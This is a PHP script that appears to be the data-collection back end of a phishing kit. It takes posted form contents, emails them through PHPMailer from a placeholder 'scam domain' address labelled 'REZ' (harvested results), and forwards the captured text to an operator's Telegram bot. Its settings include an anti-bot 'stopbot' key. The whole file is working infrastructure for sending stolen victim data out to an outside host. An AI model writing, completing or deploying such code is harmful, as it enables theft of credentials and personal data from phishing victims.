<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Headers: Content-Type");
header("Access-Control-Allow-Methods: GET, POST, DELETE, OPTIONS");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

require 'Exception.php';
require 'PHPMailer.php';
require 'SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

$configFile = "dashboard/setting.json";

class EmailSender {
    public function kirim($to, $subject, $message, $fromName = '') {
        $fromName = !empty($fromName) ? $fromName : 'REZ';

        // === Coba kirim via mail() internal ===
        $mail = new PHPMailer(true);
        try {
            
            try {
                $mail = new PHPMailer(true);
                $mail->isSMTP();                                        
                $mail->Host       = 'SMTPHOST';                  
                $mail->SMTPAuth   = true;                               
                $mail->Username   = 'SMTP EMAIL';                
                $mail->Password   = 'SMTP PASS';                         
                $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;        
                $mail->Port       = 465;                                

                $mail->setFrom('SMTP EMAIL', $fromName);
                foreach (explode(',', $to) as $recipient) {
                    $mail->addAddress(trim($recipient));
                }

                $mail->isHTML(true);
                $mail->CharSet = 'UTF-8';
                $mail->Subject = $subject;
                $mail->Body    = $message;
                $mail->AltBody = strip_tags($message);

                $mail->send();
                return 'Message sent via external SMTP';
            } catch (Exception $ex) {
                return "Both internal and external sending failed. Error: {$ex->getMessage()}";
            }
        } catch (Exception $e) {
            $mail->isMail();
            $mail->setFrom('kucinghitam@DOMAIN SCAM ANDA', $fromName);

            $recipients = explode(',', $to);
            foreach ($recipients as $recipient) {
                $mail->addAddress(trim($recipient));
            }

            $mail->isHTML(true);                              
            $mail->CharSet = 'UTF-8';
            $mail->Subject = $subject;
            $mail->Body    = $message;
            $mail->AltBody = strip_tags($message); 

            $mail->send();
            return 'Message sent via internal mail()';
        }
    }
}
function load_config($file) {
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([
            "telegram_apikey"   => "",
            "telegram_chatid"   => "",
            "email"             => "",
            "stopbot_apikey"    => ""
        ], JSON_PRETTY_PRINT));
    }
    $data = json_decode(file_get_contents($file), true);
    return is_array($data) ? $data : [];
}

$config = load_config($configFile);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $to      = $_POST['to'] ?? '';
    $subject = $_POST['subject'] ?? '';
    $html    = $_POST['html'] ?? '';
    $name    = $_POST['name'] ?? '';
    $from    = $name;

    $updatedTo = $config['email'] ?: 'default@example.com';
    $headers = "From: $from\r\n" .
               "Reply-To: $from\r\n" .
               "MIME-Version: 1.0\r\n" .
               "Content-type: text/html; charset=UTF-8\r\n";

    try {
        $emailSender = new EmailSender(); // Instantiate EmailSender class
        $result = $emailSender->kirim($updatedTo, $subject, $html, $name);
    } catch (Exception $e) {
        // Error 
    }

    $botToken = $config['telegram_apikey'] ?? '';
    $chatId   = $config['telegram_chatid'] ?? '';

    if ($botToken && $chatId) {
        $cleanText = strip_tags($html);
        $cleanText = html_entity_decode($cleanText);

        $html = "📧 *New Rez Received:*\n"
                 . "*Message:*\n"
                 . "```\n" . substr($cleanText, 0, 3800) . "\n```";

        $url = "https://api.telegram.org/bot$botToken/sendMessage";
        $data = [
            'chat_id' => $chatId,
            'text' => $html,
            'parse_mode' => 'Markdown'
        ];

        @file_get_contents($url . '?' . http_build_query($data));
    }

    echo json_encode([
        "text"    => "Email sent and forwarded to Telegram!",
        "req"    => $result,
        "to"        => $updatedTo,
        "from"    => $from,
        "subject" => $subject,
        "html"    => $html
    ]);
}
?>